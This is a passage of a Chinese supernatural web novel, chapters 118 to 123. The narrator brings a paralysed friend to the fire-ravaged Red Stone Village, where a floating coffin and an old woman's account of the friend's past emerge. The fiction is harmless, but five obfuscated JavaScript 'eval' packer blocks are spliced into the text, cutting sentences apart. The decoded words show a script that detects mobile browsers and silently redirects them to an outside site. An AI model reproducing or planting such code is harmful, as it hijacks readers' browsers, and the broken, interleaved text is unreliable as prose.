“不管什么事情,有系铃人,就会有解铃人,有本事的人多着呢,你先不要急,再带他去打听打听,真碰上高人,起码有六七成的把握,才能冒险帮他取钉子。” “我明白了,大娘,谢谢你。” 钱婆把那只装着水魄的玻璃瓶子直接埋到了井底,然后返回了地面,我把玉芬重新拽了上来,解决了水魄,对玉芬后脑那颗钉子没有任何的影响,也不可能有好转,玉芬还是睁着眼睛,植物人一般不能动弹。 事情到了这一步,只能再到别处去找有本事的人,我们从钱婆家出来,齐山宝知道我们要走,就开着拖拉机又送了我们一程。 齐山宝把我们送出去了二十多里,这边有一条县道,可以拦着过往的客车,齐山宝走了之后,我就蹲在玉芬的身边,愁眉不展。 “小哥,我觉得咱们就和我叔叔学学,干脆把他后脑勺上的骨头取掉一块,那样的话,取钉子就方便多了。” “不行。”我立刻摇了摇头,我和大甜瓜都没这方面的经验,直接动手从脑袋上取一块骨头,那简直就是开玩笑。 大甜瓜刚要继续说话,我突然看到,玉芬的嘴唇似乎轻轻的颤动了一下。 这三四天里,玉芬连眼皮子都不会动了,整个人和一截子木像似的,他的嘴皮子虽然颤动的很轻微,却恰好被我给看到了,我心里一阵激动,急忙小声问道:“能听到我说话不?” “红……” 让我感觉惊喜的是,玉芬的嘴唇颤动了几下,竟然真的从嗓子眼里蹦出来一个字。 我立刻意识到,玉芬肯定是有什么话想说,他既然能说话,就证明至少恢复了一部分的神智。 “你说什么?不要急,慢慢说。” “红……红……” 第118章 又见红石村 玉芬就说了一个“红”字,我暂时也不知道,这个字究竟是什么意思。我想着,他既然能开口说话了,就说明情况正在好转。 “你慢点说,不要急。” “红……红……” 玉芬的嘴唇艰难的颤抖着,翻来覆去就说这么一个字。渐渐的,我就觉得情况可能没我想的那么乐观。 因为玉芬的眼睛还是和原来一样,看起来虽然比较清澈,不像是神智失常的人那么浑浊茫然。但是只要仔细观察就能分辨出来,他的眼睛亮而无神。 这种眼神和前两天的状态没有任何区别,其实也就是说,玉芬的情况并未有什么好转。 但他突然在这个时候开口,还是让我有点捉摸不定。 “红……红石……红石村……” “什么?你说什么?” “红石村……” “红石村?红石村怎么了?” 玉芬终于说了红石村这三个字,可他说完之后,嘴巴就闭上了,双眼还是无神的圆睁着。 我意识到,玉芬的确没有恢复神智。 一个人在没有恢复神智的时候,却能脱口说出一个地名,这就代表着,这个地方在他的记忆里留下了无比深刻的印象。 而且,他在此时此刻说出红石村,就让我感觉有点不寻常。 **叔以前就住在红石村,当时**叔半夜找到我们,让我们帮他出殡,出殡的地点就是红石村。 红石村那地方,说实话也不是什么善地,当年的一场大火,差点把村子烧成平地。红石村闹鬼的传闻,在我们那边已经盛行了很久。 “玉芬,玉芬?” 我拍了拍玉芬的脸颊,他没有任何的反应。估计现在想要继续追问什么,肯定是问不出来的。 我的心里,产生了一种非常奇怪的感觉。自从玉芬死而复生之后,就经常莫名其妙的回想起一些乱七八糟的事情。 我和之前的玉芬,跟红石村接触的很少,也就是过去帮着**叔出殡了一次,我觉得,这地方不可能给之前的玉芬留下特别深刻的印象。 玉芬死而复生的事情,一直到现在我都不太能说的清楚,想要全力追查一下,却无处下手,可是放着不管,心里又觉得有点别扭。 “小哥,他说的红石村,是不是个暗示啊?他是叫咱们,把他送到红石村去?” “现在只能这么解释了。” “那咱们要去红石村?”大甜瓜不由自主的打了个哆嗦:“我没去过红石村,以前听人说过,他们说那地方闹……闹鬼……” “红石村荒是荒了点,闹鬼倒不至于。” “那怎么办?现在就去红石村?” 我也不知道该怎么安顿大甜瓜,如果她和这个事情没多大关系,完全就是受了我的拖累的话,先打发她回家也没什么问题,至少暂时能保证她的安全。 但是大甜瓜这次去王川山的一些举动,让我意识到,她并非一个真正无关的人,如果打发她回家,保不齐还会发生什么别的事情。 无奈之下,我只能暂时带着她,两个人在路边休息了半个来小时,县道/上过来一辆客车,我们就乘车离开。 带着玉芬这个植物人,行动不便,而且时常都会引来别人异样的眼光,我和大甜瓜硬着头皮来回倒车,最后又走了很远的路,这才到了红石村附近。 我们赶到这儿的时候,大概是下午五点钟左右,距离天黑还有点时间。我不想直接带他们过去,反正在这样的地方,能小心还是小心为妙。 我让大甜瓜先在原地照看一下玉芬,然后一个人走到村子外头,朝里面看了看。 当年红石村的大火烧**不少人,也烧毁了不少房屋。火灾刚发生之后,村里的幸存者还没有完全离开,有些房屋简单的修葺了一下,后来,村里经常发生一些古怪的事,幸存的几个村民也完全待不下去了,不得已搬迁到了别处。 村子里没什么动静,从村口进去,到处都能看到火灾之后遗留的痕迹。**叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465868|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **之后,村里估计就没人住了,我慢慢的走着,眼瞅着夕阳已经彻底西沉,我心里也没底,正打算要顺着原路先退回去,就隐约听到前面不远处的一个院子里,有一阵若有若无的嘈杂声。 上次来给**叔出殡的时候,我和潘爷聊过,对村子里的情况略有了解。放眼一望,若有若无的嘈杂声,是从前面一个挺大的院子里传出来的。 那个院子,是红石村以前的村长家,村长家的院子很大,过去,村里有时候碰见什么大事,需要大家伙儿一起商量,就会**到村长家,开个会研究研究。 我竖着耳朵听了一会儿,那阵嘈杂声好像有很多人在窃窃私语,又好像有些盆盆罐罐的东西在不断的相互碰撞。声音断断续续的,我站在原地,有点吃不准。 在这边听了至少有好几分钟,那阵声音还是飘飘渺渺,我不想冒险,但是遇见这种情况,又不能完全不管不问,现在天还没完全黑,总比深更半夜要安全一点,左思右想之下,我还是慢慢的迈动脚步,朝那个大院子走了过去。 一直走到院子跟前的时候,那阵嘈杂的声音,似乎又清晰了一些,这一瞬间,我的头皮就忍不住发麻,因为我终于分辨出来,这阵嘈杂声就好像院子里正在摆酒宴,人的说话声,杯斛交错声,连绵不绝。 红石村会有那么多人?我很怀疑,上次来到红石村的时候,整个村子仿佛都死绝了。 这个大院子当年也被烧了,院墙是转头垒起来的,还保持着完整,我贴着院墙听了半天,只能听到人说话的声音,但听不清楚具体说的是什么。 这时候,我就觉得玉芬突然说到红石村这个地方,绝对不是没有原因的。 我的心里七上八下,但是转念一想,红石村就算有怪事,也不可能比王川山那边更邪门,王川山都闯过来了,还怕这个小小的村子? 我不断的安慰自己,然后趁着太阳还没有完全落山,悄悄的爬上院墙。 等我露头一看,顿时感觉头皮一麻。 第119章 飘浮的棺材 当我从院墙上面露出头的时候,看到院子里摆了大概十来张桌子。每张桌子跟前,绕圈放着七八个板凳。 桌子上面有杯子和盘盘盏盏,那情景,真的和摆酒宴一样。 但是,每张桌子跟前都是空的,没有一个人。 我没有翻上院墙时,一直都能听到院子里面人声嘈杂,等我翻过院墙之后,整个院子鸦雀无声。 这是怎么回事? 我心里很迟疑,眼前的景象太渗人了,怎么看都让人感觉心里不舒服。 我没有出声,扒着墙头又朝周围看了一眼。这个院子基本上是空的,但是,目光扫到院子的堂屋右侧的时候,我就看到了一口棺材。 那是乡下常见的棺材,很普通,看不出有什么异样。 就在我心里忐忑不安时,从另一侧一间已经倒塌了一半的厨房里,走出来一个人,那人是个老太婆,佝偻着腰身,手里拿着一个大酒壶。 她慢吞吞的绕着十来张桌子,挨个朝桌上的杯子里倒酒,一边倒酒,还一边嘀嘀咕咕的说话。就好像宴席的主人正在依次给来客们敬酒,看的我浑身上下不自在。 我眯着眼睛又观察了一下,随即就认出了这个老太婆。当初我来这儿给**叔办丧事的时候,村里没有别的人,只有两个瘦干巴筋的老婆子,蹲在**叔家门的门槛后头。 我当时只认识潘爷,一直在跟潘爷交谈,那两个老太婆,从头到尾也没怎么和我说话。 眼前这个老太婆,显然就是其中之一。 这个老太婆出现,并不意外,我觉得她就是红石村的幸存者之一,而且上了岁数,一直没有搬走。 但她这时候的举动,却让人感觉后背发冷。 老太婆拿着酒壶,绕着所有的桌子走了一圈,给每个杯子里都倒了酒,然后,她就屈身坐到了一旁的小凳子上,愣愣的望着那口角落里的棺材出神。 院子里始终寂静无声,除了老太婆,也看不到别的人,我越看越觉得诧异,但又不好直接露面,就这样观察了很长时间,天色渐渐黑了。 一直到这时候,院子里还是没有什么动静,我只能先跳了下来,大甜瓜和玉芬还在村子外头,耽误了这么久,我怕有什么意外,想回去看看,跟大甜瓜打个招呼。 当我转身准备离开的时候,一直寂静无声的院子里面,陡然又传出了一阵嘈杂声。 这一次我不会听错,肯定是人的声音,有人在说话,好像还有人在哭。这乱七八糟的声音夹杂到一起,听的人毛骨悚然。 我皱了皱眉头,越来越感觉,玉芬在这时候提到红石村,绝对不是一种偶然。为了安全起见,我暂时先退了出去,找到了大甜瓜。 大甜瓜守着玉芬,又呆在这种传言经常闹鬼的村子外头,心神不宁,见到我回来,她才长长的出了口气。 “小哥,怎么样?这村子里……正常么?” “我去转了一圈,没发现什么。”我也不敢实话实说,害怕再给大甜瓜增加心理负担。 “没事就好,我呆在外头,还守着个植物人,心里怕的要死。” “既然害怕,就离村子远一点,走。” 我们俩抬着玉芬,朝远处走了至少有二十分钟,离村子远了,大甜瓜才安心了一些。 我们刚把玉芬放下,还没来得及喘口气,一直没什么动静的玉芬,嘴皮子又开始轻轻的颤动。 过了能有两分钟,玉芬的嗓子里,又蹦跶出了三个字。 “红石村……” “玉芬?玉芬?” “红石村……” “我们现在就在红石村,你能听见我说话吗?能听到,就眨眨眼就。” 玉芬没有回应我,说了两句之后,整个人又好像陷入了那红植物人的状态。我坐在他身边,感觉很无奈。 但与此同时,心里的念头依然很强烈,玉芬在这个节骨眼上一直提到红石村,必有原因。 事情已经到了这一步,我不管愿意不愿意,都要硬着头皮再去看看。我把大甜瓜安顿好,交代她不要到处乱跑,然后又转身返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465869|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红石村。 今天的天气不太好,入夜以后,天就渐渐开始阴沉,今年夏天的雨水很多,我就害怕下雨,那样的话,会严重影响视线。 可是,越是害怕什么,就越来什么,等我重新回到红石村外面的时候,半空就开始淅淅沥沥的滴落雨滴。 我抬头看了看天,阴沉的不算太厉害,估计就算下雨也不会是大雨。 我重新顺着村口的那条路,一直走到了大院子附近,沙沙的雨声一直充斥在左右,我也没有再听到院子里面有什么声音。 现在该怎么做?除了继续盯着,我也想不出别的什么办法。 就在我举棋不定的时候,院子的院子门吱呀一声被推开了,那个腰身佝偻的老太婆,扶着门框从院子里走了出来。 我赶紧就躲到了一旁,好在老太婆应该没发现我,从院子里出来之后,她就闪身站到了一旁。 院子的门洞开着,老太婆一动不动的站在院门的旁边,微微低着头,也不知道在想些什么。我估摸着,这个老太婆应该是红石村为数不多的幸存者之一了,如果对方肯配合的话,大概可以问出点情况来。 但我观察着老太婆,总是觉得这个村子有点不对头,心里这么一迟疑,就不敢直接露面。 就在我举棋不定的时候,院门里面,陡然出现了一口棺材。 那口棺材,就是我之前看见的那一口。我在白八门混了这么几年,见的最多的就是棺材,可是,眼前的这口棺材却让我有些瞠目结舌。 这口棺材,鬼使神差一般的从院门里飘了出来。周围除了那个老太婆,就再也没有别的人了,棺材飘在离地大概有三尺的地方,仿佛有很多看不见的人,正抬着这口棺材慢慢的走出院子。 我躲在暗处,连动都不敢动,小雨还是一直在下,不断滴落在那口棺材上。 棺材缓缓的漂浮着,从我前面那条小路一直朝着东边而去,当棺材飘到小路的十字路口时,半空中陡然闪过了一道电光,我的脑袋嗡的一声,仿佛要炸开了似的。 第120章 有眉目 在半空中的电光闪过的那一瞬间,黑漆漆的村子,一下子被照亮了。 尽管那道电光只是一闪而过,可我却看到,那口飘浮的棺材四周,似乎围拢了几十团高高低低的影子。 那些影子都是人影,仿佛被火烧成了焦炭,几十团焦炭一般的人影,一起抬着那口棺材,缓缓前行。 我强忍着不敢出声,只怕会引来什么麻烦。 这时候,那个老太婆慢慢的跟了上来,她的确是上了年纪,腿脚也不怎么好,拄着拐杖,脚步蹒跚,那口棺材飘动的也不快,但老太婆还是要使出浑身的力气,才勉强能跟上。 棺材在前面飘,老太婆在后面跟,一直从那条东西路走出了村子。 红石村周围的地形也不怎么好,村外那条小路是通往北边的,坎坷难行。棺材飘到这里,缓缓的调头,朝着北边去了,我依稀记得,顺着这条小路一直走,就能走到红石村的坟地。 当初**叔就是被抬到坟地那边下葬的。 走到这里的时候,老太婆走不动了,她想跟上去,但是小路不好走,她无奈的停下脚步,望着慢慢远去的棺材,扯着嗓子喊道:“老姐姐……走好……我……我不送了……” 四下里除了淅淅沥沥的雨声,就再也没有别的声音,只剩下老太婆那凄凉的喊声在四周回荡。 渐渐的,棺材已经在阴沉的夜色中消失了,老太婆一个人在路边站了很长时间,才慢慢的转过身。 我一直躲在不远的地方,老太婆拄着拐杖,从我面前的小路走过去,我本来以为自己躲的严严实实,没有发出任何响动,老太婆也不可能发现我,谁知道,老太婆走到跟前的时候,停下脚步,微微一转身,那双昏花的眼睛,似乎朝着我隐藏的地方望了过来。 “出来吧,你躲的时间也不短了……” 我心里猛然一惊,这老太婆看起来老态龙钟行将就木,可我没想到,对方竟然早就知道我躲在这个地方。 既然被她发现了,我再躲着也没什么用。 我从藏身的地方走了出来,老太婆抬眼看了看我,这时候距离我当初给**叔送葬的时间过去的其实并不算太久,老太婆显然对我有印象。 “你是白八门的人……上次给阿**送葬的人,就有你。” “对,我是给**叔来送过葬。” “这个村子,很少来外人,你给阿**送葬,我知道,这一次,你又来做什么?” “这次来,是有点事。” “有什么事,慢慢说吧。” 老太婆认得出我,也知道我和**叔有交情,她拄着拐杖,继续朝西边走,我想了想,既然对方没有敌意,那就看看再说。 我跟在老太婆身后,她一言不发,走的很慢,看着老太婆的背影,总给人一种肃杀凄伤的感觉。到了这时候,我其实也猜得出来,给**叔送葬的时候,村里还有两个老太婆,现在只剩下一个,另外一个估计是过世了,刚才被抬走的那口棺材里,说不定就是另外一个。 人到了这个岁数,对死亡会有一种深深的恐惧,越是岁数大,越是怕死。尤其是看到和自己朝夕相处的人死去之后,不仅会悲伤,更会惶恐。 走到村子的十字路口,老太婆朝着北边调转了方向,又走了一会儿,她在一个小院门口停下来,村里没有人,也没必要锁门,老太婆轻轻一推门,就走了进去。 我跟着跨过了门槛,这个院子不大,整体还算是干净整齐,应该是老太婆的住处。 村里没有电,老太婆进屋之后,就点燃了一盏油灯,她沉默了一路,直到这时候,才问道:“你到村子里来,有什么事?” “是有人叫我来的。” “谁叫你来的?” “玉芬,你认识玉芬吗?” 话一出口,我又觉得很多余,玉芬是我的发小,自从他“死而复生”之后,样子完全变了,不知道内情的人,肯定分辨不出来。 果然,老太婆听到玉芬这个名字之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470940|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就慢慢摇了摇头。 “我不认识你说的这个人。” “这……”我想了想,现在情况不明,也没办法直接把玉芬给抬进来。 我的余光瞥到小屋的一角堆着一些木炭,应该是冬天取暖用的。我拿了一块木炭,然后又找老太婆要了张纸。 我没学过画画,就尽力的在纸上把玉芬的样子画下来。好在玉芬的样子比较特殊,我画了之后,拿给老太婆看了看。 与此同时,我还把玉芬的长相什么的,具体跟老太婆描述了一下,听着我的讲述,再看看我画的画,老太婆一直耷拉的眼皮,似乎突然动了动。 “是这个人……叫你来的?” “对。” “他在什么地方?他怎么不来?” “这个……” “你说实话,他是不是遇上什么难处了?还是遇上什么麻烦了?没办法自己露面?” “是,遇上了一些麻烦。” 这个老太婆肯定认识玉芬,而且她的语气和神情之间,显然有关切的意思。 “遇见什么麻烦了?你说。” “他的脑袋后面,被人钉了一根钉子,然后就一直没能再醒,整天睁着眼睛,就是一动不动。我想了办法,也找了人,想把他后脑的钉子取出来,但没能成功。” 我把玉芬的大概情况说了一下,老太婆就有点急躁,一直追问玉芬现在人在何处。 “在村子外头。” “走,带我去看看……” 这时候,我就怀疑,玉芬是不是跟这个村子有什么关系。但现在老太婆还没见到他,我不好下结论,就带着老太婆从小村走出来,一路赶到了大甜瓜和玉芬落脚的地方。 天在下着小雨,大甜瓜把玉芬弄到了一棵树下,又给他盖了件衣服,我带着老太婆赶来之后,一看到躺在地上的玉芬,老太婆的手就颤抖了一下。 虽然具体的情况我还没弄明白,但事情多少都已经有些眉目了。 第121章 石头的过去 那个老太婆的神情,明显很激动,蹲在玉芬面前,说话的声音都在发颤。 “是他……好几年没有见他了,我能认得出……” “别急,慢慢说。” “他怎么……变成这样了?” 尽管我已经大概跟老太婆说了玉芬的情况,但真正看见玉芬的时候,老太婆激动之余,还有些愤慨。 “谁把他弄成这样的,我也不知道,当时的情况很复杂。” “年轻人,你帮阿**送葬,一定是阿**的熟人,我和阿**已经几十年的交情了,有什么事你都别瞒着我。你说你不知道谁把他弄成这样,我相信,我就想问问,你是怎么认识他的?在哪儿认识他的?” “这个……说来话长。” 关于玉芬的事情,我其实不想说的太多,但这个老太婆明显是个知情/人,瞒着她也没有必要。我整理了一下思路,然后把玉芬出现的前因后果,如实跟老太婆讲述了一遍。 其实,我看到老太婆此时的言谈举止,已经大概能猜出来,她和玉芬之前也特别熟。 很多事情,我不愿意朝深处想,因为想的再多也没有答案,可随着事态的不断变化,也由不得我不去考虑。 玉芬死而复生的事情,的确很奇怪,不过,我现在基本能确认,玉芬或许不是简单的死而复生了,他是被地上躺着的这个人顶替了。 这里面最让人疑惑的一个点,就是地上这个人,似乎拥有之前那个玉芬的记忆,他能说出很隐秘的往事,而且,说话的语气还有习惯性的表情,动作,都和之前的玉芬一模一样。 “先……先把他弄到村子里去吧。”老太婆看着地上的这个人,似乎很心疼。 红石村也是一片声名远播的凶地,不过有这个老太婆在场,也没什么可怕的,我就把玉芬背起来,跟着老太婆重新回到了村子里。 玉芬被安顿好之后,老太婆似乎也有些焦急,看她的样子,估计也对玉芬脑袋后面那颗钉子无能为力。 “大娘,我问一句,他是你什么人?” “他……算是我儿子吧。” “怎么算是你儿子?” “不是我亲生的,却是我一手拉扯大的。” 因为有**叔这一层关系,再加上玉芬死而复生的事情,老太婆也知道,种种事端跟我有很大的关联,所以她也没有藏着掖着,坐在油灯下面,一边听着窗外淅淅沥沥的雨声,一边说了起来。 “他原来的名字叫什么,没人知道了,我们都喊他石头。他是阿**带回来的,刚回来的时候,他才不到一岁。” “然后,你把他收养了?” “对,是我把他养大的。” 这个老太婆叫王二花,人们称呼她二婶。二婶的丈夫死的很早,死的时候两口子连孩子也没有,丈夫去世以后,二婶也就一辈子没再嫁人。 为了糊口,二婶也跟人学过一些看香的手艺,平时就住在村里,如果有人有事,就会来找她。 至于**叔,也是从小在红石村长大的,跟二婶他们很熟。 有一年,是个飘雪的冬天,**叔从外地回来,带了一个孩子,那孩子看样子还不到一岁,**叔说这是他在回来的路上捡的。 那孩子长的干干瘦瘦,模样不怎么讨人喜欢,但是二婶并不嫌弃,她没丈夫没亲人,一心就想收养个孩子,**叔就把这孩子交给了二婶。 因为是捡来的,所以不知道这孩子姓什么叫什么,乡下人也不讲究那么多,随便给孩子起了个名字,叫石头。 二婶对石头很好,当成亲儿子一样抚养。石头小的时候,一切都很正常,虽然模样磕碜了点,但脑瓜子灵活,也很有眼力劲,二婶很喜欢他。 然而,到了石头七八岁的时候,发生了一件事,让所有的人都很吃惊。 那一次,石头跟村里的孩子下河玩,不知道是着凉了还是什么原因,回家以后就不舒服,开始发烧,二婶给他买了药,吃了也不见好,昏昏沉沉的足足烧了四五天。 而且,石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470941|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头在发烧的时候,时常说胡话,说出来的话莫名其妙,他说自己的家在一个叫丹河的地方,那边有很大一块坟地,他出生的时候,就在那片坟地边缘的一个小屋里。 发烧的时候说的胡话,没人会在意。因为烧的时间太久,而且满口胡言乱语,所以有人就怀疑石头是不是冲撞了什么,导致这样的结果。 但二婶看的很仔细,她本身就是看香的人,如果石头真是丢了魂儿或者中邪,二婶肯定能看出来。 二婶心疼石头,最后专门托人帮忙,带着石头走了很远的路,到县城的医院,反正在医院里治疗,效果也不好,石头最后是硬生生自己把病给熬过去的。 等石头病好,神智也就非常清醒,没留下什么后遗症,可是,**怎么回事,清醒了以后,也一直跟二婶说,自己很小的时候,是在丹河那边的老坟场住着的。 这件事渐渐变成了石头的一块心病,也变成了二婶的一块心病,最后二婶瞒着村里人,悄悄带着石头去了一趟丹河。 这时候距离石头出生,已经过去好几年了,到了丹河的老坟场以后,石头轻车熟路的就找到了自己小时候住过的地方。 那里真的有一个已经被拆掉的小屋,看不见屋子,却能辨认出清晰的痕迹。 二婶再问石头什么,石头就不说话了,一个人跑到不远处,蹲在那里发呆。 过了好半天,石头也没有动静,二婶过去看了看,就发现石头不知道什么时候流泪了。 石头哭的很伤心,二婶就问他,石头开始的时候不肯说,被追问的久了,他才伸手指着坟地边缘,说自己以前被埋在了这里。 饶是二婶这种经常跟神神鬼鬼打交道的人,听见石头的话,也不免有些心惊肉跳。 一直到此刻,二婶才真正意识到,石头这个孩子,看起来有些不简单。 为了把事情弄清楚,二婶按照石头所指的位置,把地给挖开了。 谁想到,这一挖,就又挖出了一个令人匪夷所思的谜团。 第122章 生死结 在坟地的边缘,二婶果然挖出来一具尸体。 那是一具很奇怪的尸体,身上的衣服都已经彻底烂了,说明被埋在这里至少有好几十年甚至更久的时间,但尸体本身竟然只腐烂了一部分。 二婶知道,这个被埋在土里的人,估计也和自己一样,是有道行的,而且,这个人的道行,远非二婶可比。 这人的尸体之所以腐烂的这么慢,是因为生前长期服食一些炼制的药,药里面含有铅汞之类的东西,甚至还有**。人如果长年累月的服用微剂量的**,死亡之后尸体就能腐烂的特别慢。 但毕竟时间过去的太久了,这个人的面目已经难以辨认,二婶仔细观察了半天,刚想转头去问问石头,还能想起什么,谁知道这一回头,二婶就吓了一跳。 石头的一只眼睛,不知道什么时候变的血红血红的,连眼珠子都看不见了,眼眶里只剩下一片血色。 这一次,二婶是真的惊讶了。 二婶知道,石头的一只眼睛之所以变的血红,并不是得了病或者是其它原因,这种血红的眼睛,是一种咒,行话叫做轮回印,也叫生死结。 这种咒是死者在临死之前才会用的,被诅咒的人平时不会有什么异常的情况,但是如果再次见到死者的尸骨,凶手的一只眼睛,就会变的血红血红的。 在很早以前,生死结是一些家族或者门派用来鉴别凶手的独特手法,比如家里的子弟**,找不到确切的凶手,那么就会把死者的尸体暂时保存起来,然后将所有具备嫌疑的人想方设法的找来,在尸体面前一对质,一只眼睛血红的人毫无疑问就是行凶者。 生死结百试不爽,绝对不会出现偏差。 但这玩意儿其实没有特别大的用处,而且想把生死结修行圆满,还要浪费很多的时间和精力,只有家族里那些比较重要的人物闲着没事了,才会练这种东西。 同时,这也侧面说明,死者不管是什么身份,绝不可能是普通人。 二婶看到石头的眼睛,脑子顿时蒙圈了,土里的尸体至少也是大几十年前就死去的,石头才几岁,他怎么可能是凶手? 更重要的是,石头说,那具尸体是他自己,自己把自己杀了,然后又把自己给埋了? 二婶想的一脑袋浆/糊,仍旧想不明白,但是有一点可以确定,活人会说谎,生死结却不会,石头肯定就是凶手。 这事情,让二婶非常费解,她不断的尝试询问,想从石头嘴里问出什么结果,但是,石头却什么也想不起来了。 二婶毕竟养了石头好几年,早已经把他当成了亲儿子,所以不管事情的前后经过如何,二婶都不想再让石头出什么事,她亲自动手,把那具尸体烧成了灰。 尸体虽然烧成了灰,但石头的眼睛却一直恢复不过来,始终是一片通红。这模样根本没法出门见人,二婶实在没法子了,回村以后,把事情偷偷和**叔说了。 **叔带着石头外出了大概有一个月时间,倒是真把石头的眼睛给弄好了。 从那以后,二婶时时小心,想要看看石头是不是还有别的反常的举动,不过,这事情过去,石头恢复了正常,再也没有出现过任何的意外。 但是到了七八年前,情况又一次急转直下。 那时候石头二十六七岁,二婶正张罗着想给石头在附近的村里找个老婆,安安稳稳的过日子。 有那么几天时间,村里一直在出怪事,村民们偶尔半夜出门或者回家,总能看到村子外面,好像有一团一团的影子在晃动。 那些影子就和传说中的鬼一样,来去无踪,明明发现就在身后,但是一转眼,影子就彻底无影无踪了。 就这么闹了几天,村里人感觉心里很不踏实,因为二婶是看香的,**叔则是白八门的人,都有些道行,过去那么多年,村里都没有发生过奇怪的事。 这种情况持续了几天,有一天半夜,* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477382|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *叔悄悄找到了二婶,二婶觉得**叔是为了村里的怪事而来的,果然,**叔一开口,就提到了这件事。 当时的情景,二婶记得非常清楚,**叔说了几句,就一个劲儿的埋头抽烟,一口气抽了好几根,**叔才告诉二婶,村子里的怪事,其实就是冲着石头而来的。 二婶不太明白毛叔的意思,但是联想到石头之前发生的事,二婶也觉得似乎有这种可能。 二婶问**叔该怎么办,**叔说,现在村子外头,到处都是脏东西,已经把村子给堵住了,如果从正常的路出村,一定会泄露消息,但眼下又不能耽搁,必须得带着石头暂时离开。 当天,**叔就把石头带回了自己的家,一直到这时候,二婶才发现,**叔的卧室床下,有一个地道的入口,地道狭窄,但是很长,从村子里一直挖到村外二里地左右。 **叔带着石头走的时候,嘱咐过二婶,石头离开村子,躲一阵子就没事了,让二婶别担心,也不要声张。当时的情况很紧急,二婶什么都来不及多问,眼睁睁看着**叔把石头给带走了。 二婶本以为,**叔带走了石头,或许事情就暂时告一段落,但她又一次失算了。 石头走了大概有四五天之后,有一天夜里,村里几个人闲着没事,在二婶家里玩叶子牌,玩到半夜的时候,村里突然就起火了。 那肯定不是一次意外的火灾,整个村子几乎在同一时间就陷入了熊熊火海。火势来的特别猛,房屋很快都被引燃了,二婶当时就觉得不对,带着几个人想要夺门而出。 但是,屋门被封住了,而且是高手用五鬼搬山给堵住的,根本就打不开。 二婶当时心神慌乱,在噼噼啪啪的火焰燃烧声中,她能听到整个村子到处都是砰砰的砸门声,还有人的哭喊声,求救声。 毫无疑问,整个村子的人都让算计了,堵在自家的屋里出不来,全部都被熊熊烈焰所吞噬。 第123章 邪神庙 那场大火对红石村来说,是灭顶之灾,几个在二婶家里玩牌的人同样也出不去,但二婶毕竟是做看香破事的人,手段多少都有些,最后侥幸带着几个人躲在屋里,逃过了一劫。 大火整整烧了半夜,等到村子里所有的人都没了声息,二婶才发现,紧闭的屋门终于可以打开了,这也就意味着放火的人已经离开。 整个村子几乎被烧成了一片白地,除了二婶他们,没有人可以幸免。那几个人失魂落魄,拼命想要找出家属的遗体,但大部分遗体都被烧的和焦炭一样,面目全非。 人人都知道,这场大火来的很突然,也很奇怪,但没有谁能说得清楚具体的原因。 只有二婶,提前听了**叔的一些嘱咐,才隐约猜得出来,这场火,或许跟石头有关,但她一个字都不敢说出来。 这几个人开始善后,那么大一个村子,收拾起来需要很长一段时间,等到收拾的差不多了,已经是一个多月之后。 这一个多月里,**叔和石头都没有回来,二婶心里惦记的很,又不知道该到什么地方去找。 那么多人屈死在火海中,怨念可想而知,等几个幸存者收拾好了之后,村里就不断的有怪事发生,尽管二婶已经竭尽全力的在维护,可是还是无法安定人心。 